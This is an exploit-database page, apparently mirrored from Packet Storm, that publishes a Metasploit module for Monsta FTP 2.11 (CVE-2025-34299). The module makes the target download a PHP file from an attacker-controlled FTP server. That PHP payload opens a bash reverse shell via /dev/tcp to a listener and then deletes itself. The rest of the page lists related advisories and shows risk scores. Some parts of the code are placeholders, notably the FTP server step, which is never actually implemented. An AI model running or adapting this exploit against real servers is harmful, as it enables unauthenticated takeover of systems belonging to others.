Lucene search
+L

📄 Monsta FTP 2.11 Remote File Injection

🗓️ 30 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 221 Views

Exploits Monsta FTP CVE-2025-34299 to upload a PHP reverse shell via a malicious FTP server.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-34299
19 Nov 202500:39
githubexploit
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Monstaftp Monsta_Ftp
11 Dec 202503:42
githubexploit
circl
Circl
CVE-2025-34299
7 Nov 202510:26
circl
cnnvd
CNNVD
Monsta FTP 代码问题漏洞
7 Nov 202500:00
cnnvd
cve
CVE
CVE-2025-34299
7 Nov 202513:51
cve
cvelist
Cvelist
CVE-2025-34299 Monsta FTP <= 2.11 Unauthenticated Arbitrary File Upload
7 Nov 202513:51
cvelist
euvd
EUVD
EUVD-2025-38247
7 Nov 202513:51
euvd
hackread
HackRead
Monsta FTP Vulnerability Exposed Thousands of Servers to Full Takeover
10 Nov 202510:53
hackread
kitploit
Kitploit
CVE-2025-34299-lab
12 Sep 202604:04
kitploit
kitploit
Kitploit
CVE-2025-34299
12 Sep 202619:54
kitploit
Rows per page
=============================================================================================================================================
    | # Title     : Monsta FTP 2.11 Remote File Injection                                                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.monstaftp.com/                                                                                                  |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212150/ &  		CVE-2025-34299
    
    [+] Summary :  This Metasploit module exploits a vulnerability in Monsta FTP and enables Remote File Injection by creating a malicious FTP server. 
                   The application builds this server to upload a malicious PHP file (Reverse Shell).
                   After the file is uploaded, the module immediately verifies the possibility of reversal.
    
    
    [+] POC : 
    
    ##
    # This module requires Metasploit Framework and Ruby
    ##
    
    require 'msf/core'
    require 'net/http'
    require 'json'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Monsta FTP CVE-2025-34299 Exploit',
          'Description'    => %q{
            Exploits Monsta FTP vulnerability CVE-2025-34299 to upload a PHP reverse shell
            via a malicious FTP server.
          },
          'Author'         => ['Indoushka'],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              ['CVE', '2025-34299']
            ],
          'Platform'       => 'php',
          'Arch'           => ARCH_PHP,
          'Targets'        => [['Monsta FTP <= 2025-34299', {}]],
          'DefaultTarget'  => 0,
          'DisclosureDate' => '2025-11-21'))
    
        register_options(
          [
            Opt::RHOST(),
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'Base path to Monsta FTP', '/']),
            OptString.new('FTP_HOST', [true, 'Attacker FTP host', '172.17.0.1']),
            OptInt.new('FTP_PORT', [true, 'Attacker FTP port', 2121]),
            OptString.new('LHOST', [true, 'Listener host', '172.17.0.1']),
            OptInt.new('LPORT', [true, 'Listener port', 4444])
          ])
      end
    
      def generate_payload(filename)
        "<?php $f=__FILE__; exec(\"/bin/bash -c 'bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &'\"); unlink($f); ?>"
      end
    
      def exploit
        print_status("Starting malicious FTP server...")
    
        require 'webrick'
        require 'tmpdir'
        require 'securerandom'
    
        ftp_dir = Dir.mktmpdir
        random_file = "#{SecureRandom.hex(6)}.php"
        payload_path = File.join(ftp_dir, random_file)
    
        File.open(payload_path, 'w') { |f| f.write(generate_payload(random_file)) }
        print_status("Payload written to #{payload_path}")
    
        # Generate random credentials
        user = SecureRandom.hex(4)
        pwd = SecureRandom.hex(6)
    
        # Start FTP server
        print_status("FTP server would start here (simulate or run external server)")
    
        # Prepare request to Monsta FTP API
        api_url = normalize_uri(datastore['TARGETURI'], 'application/api/api.php')
    
        data = {
          connectionType: 'ftp',
          configuration: {
            host: datastore['FTP_HOST'],
            username: user,
            password: pwd,
            port: datastore['FTP_PORT'],
            initialDirectory: '/'
          },
          actionName: 'downloadFile',
          context: {
            remotePath: "/#{random_file}",
            localPath: random_file
          }
        }
    
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri'    => api_url,
            'ctype'  => 'application/x-www-form-urlencoded',
            'data'   => "request=#{data.to_json}"
          })
    
          if res && res.code == 200
            begin
              json_res = JSON.parse(res.body)
              if json_res['success']
                print_good("Payload uploaded successfully: #{normalize_uri(datastore['TARGETURI'], 'application/api', random_file)}")
                print_status("Triggering reverse shell...")
                send_request_cgi({'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'application/api', random_file)})
                return
              end
            rescue JSON::ParserError
              print_error("Failed to parse JSON response: #{res.body}")
            end
          else
            print_error("HTTP request failed")
          end
        rescue ::Rex::ConnectionError
          print_error("Failed to connect to target")
        end
      end
    end
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jan 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
CVSS 49.3
EPSS0.72854
SSVC
221